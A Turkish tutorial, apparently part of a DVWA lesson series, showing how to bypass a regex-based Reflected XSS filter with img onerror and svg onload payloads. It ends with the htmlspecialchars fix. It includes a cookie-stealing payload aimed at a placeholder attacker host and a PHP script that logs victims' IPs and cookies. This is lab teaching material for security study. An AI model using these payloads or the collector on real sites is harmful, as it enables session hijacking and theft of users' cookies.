Ders 21 - Reflected XSS (High Level)
Bu yazıda güvenlik düzeyi High seviyesine yükseltilmiş DVWA'da Reflected XSS'e karşı ne gibi bir güvenlik önlemi alındığı incelenecektir ve alınan güvenlik önlemine rağmen yine Reflected XSS saldırısı düzenlenebilir mi sorusuna yanıt aranacaktır.

Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten


bu yazının ilintili olduğu dvwa eğitim serisindeki diğer makalelere ise şu adreslerden


erişebilirsiniz.

Dersin Hedefi

Hedefiniz High seviyesindeki güvenliği keşfetmek ve ardından atlatmaktır.

Reflected XSS'e Karşı Önlem

Geçen derste bahsedilen güvenlik önlemi aşılabilmişti. Şimdi bir de güvenlik High seviyesindeyken kullanılan güvenlik önlemine bakalım:

Reflected XSS (High Level): 

<?php 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user 
    echo "
Hello ${name}
"; 
} 

?>


6. satırda kullanıcıdan gelen veri belirtilen regular expression desenine sahip mi değil mi diye kontrol ediliyor. Desendeki nokta (.) işareti herhangi bir karakter anlamına gelirken noktadan sonraki yıldız (*) işareti ise önceki ifadeden 0 kez ya da daha fazla kez olabilir anlamını gelir. Yani (.*) ile ifade edilen şey 0 ya da daha fazla kez ‘karakter’ gelebilirdir. Kullanılan desene odaklanacak olursak

/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i

Yukarıdaki ifadenin dayandığı syntax şudur:

/pattern/modifiers

pattern desen anlamına gelmektedir. modifiers kısmı ise preg_match() fonksiyonundaki regular expression'ın sonuna bakacak olursanız i harfini almıştır. i harfi aranılan deseni hem büyük harfe göre hem de küçük harfe göre aramaya yarar. Böylece aranılan desene uygun karakter dizisi büyük harf de olsa küçük harf de olsa seçilecektir ve silinecektir. Bir daha desene bakacak olursak

/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i

Dikkat ederseniz (.*) kısımlarını regular expression’dan çıkarırsanız <script kelimesini göreceksiniz. <script’in aralarına konulan (.*) ile yapılmak istenen şudur: “<script yazısının başında, ortasında, sonunda, her yerinde başka karakter olabilir. Böyle bir desen bulursan onu komple sil”. Yani güvenlik medium seviyesinde iken verilmiş aşağıdaki örneğe bir daha göz atacak olursak

<scr<script>ipt>alert('Site Halen XSS Açığına Sahip');</script>

preg_replace() fonksiyonu bu parçalı <scr<script>ipt> ifadesini kendi regular expression’ı ile eşleşmiş bulacaktır. Dolayısıyla <scr<script>ipt> ifadesini komple silecektir.

Ayrıca preg_replace() fonksiyonu büyük küçük harf olarak her ikisini de kapsar ayarlandığından payload'da büyük veya küçük harf yazmak artık işe yaramayacaktır.

<Script>alert('Site Halen XSS Açığına Sahip');</script>

Reflected XSS High Seviye Güvenliği Atlatma

High seviye güvenlik önleminde unutulan bir şey vardır. Reflected XSS saldırısı sadece <script ile yapılabilen bir saldırı değildir. Diğer html etiketleri ve javascript event'leri ile de aynı saldırı tatbik edilebilir. Örneğin;

# Açıklık Var mı Kontrol Payload'u:

<img src=x onerror="alert('Site Halen XSS Açığına Sahip')"/>

veya

<img/src/onerror=alert('Site Halen XSS Açığına Sahip')>

payload'ları denendiğinde javascript komutları kusursuzca çalışacaktır ve ekrana sitenizde xss var popup'ı gelecektir. Burada yapılan işlem html <img etiketi src değerini başarılı şekilde yükleyemezse hata event'i onerror tetiklensin ve içerisindeki javascript komutları çalışsındır. src'a x harfini koyarak geçersiz bir adres değeri vermiş olduğumuzdan onerror event'i tetiklenmektedir ve javascript komutu çalışmaktadır.





High seviyede xss saldırısı halen yapabildiğimizi fark ettik. Peki daha ileriye taşıyabilir miyiz? Yani çerez çalabilir miyiz? Evet! Metot yine aynı:

# Exploitation

<svg/onload=window.location='http://SALDIRGAN_
WEB_SUNUCU_VM_IP/index.php?cookie='+document.cookie>

[!] Uyarı:

Şu iki payload teorik olarak uygun görünse de başarıyla çalıştırılamamıştır.

<img src=x onerror="window.location='
http://SALDIRGAN_WEB_SUNUCU
_VM_IP/index.php?cookie=' + document.cookie"/>

<img/src/onerror=window.location='
http://SALDIRGAN_WEB_SUNUCU
_VM_IP/index.php?cookie='+document.cookie>

Not:

SALDIRGAN_WEB_SUNUCU_VM_IP yerine aşağıdaki kodların index.php halinde yer aldığı bir web sunucu adresi girilmesi gerekmektedir. Örneğin Kali Linux sistem ip'si.

Kali Linux VM'deki Apache Web Sunucuda index.php: 

<html>
    <head>
        <title>404 Not Found</title> 
    </head>
    <body>
    404 Not Found
        <?php
            $ip = $_SERVER["REMOTE_ADDR"];        // Sayfaya girenin ip’si alınır.
            $cookie = $_GET["cookie"];            // Hazırlanmış linke tıklayanın çerezi alınır.
            $dateTime = date('d.m.y \t H:i:s');   // Kurbanın hazırlanmış linke tıkladığı anki zaman alınır.
             
            $file = fopen("cerezler.html", "a+");
 
            fwrite($file, "#######################################<br>");
            fwrite($file, "Kurbanin IP Adresi : " . $ip . "<br>"); 
            fwrite($file, "Tiklama Zamani      : " . $dateTime . "<br>");
            fwrite($file, "Kurbanin Cerezi      : " . $cookie . "<br>"); 
            fwrite($file, "#######################################<br><br><br>");
 
            fclose($file);
       ?>
    </body>
</html>
















Peki geliştiriciler ne yapmalı? Impossible seviyesine göz atalım:

Reflected XSS (Impossible Level): 

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

9ncı satırdaki gibi html encode'lama metodu kullanılmalıdır. Böylece tüm html etiketler etkisiz hale gelecektir ve kod olarak çalışmayacaktır. Veri olarak görüntülenecektir.

Sonuç

Medium seviye güvenlikte str_replace() fonksiyonuna göre high güvenlik seviyesindeki Regular Expression çözümü daha kapsamlı bir güvenlik temin etmiştir. Fakat güvenlik yine de aşılabilmiştir. Kalıcı güvenlik için tüm html etiketlerin encode'lanması usulü takip edilmelidir.
Bu yazı 22.01.2016 tarihinde, saat 08:29:31'de yazılmıştır. 26.03.2025 tarihi ve 06:22:10 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 3820
Yorumlar
Henüz yorum girilmemiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv

#Giriş
ID :
Şifre :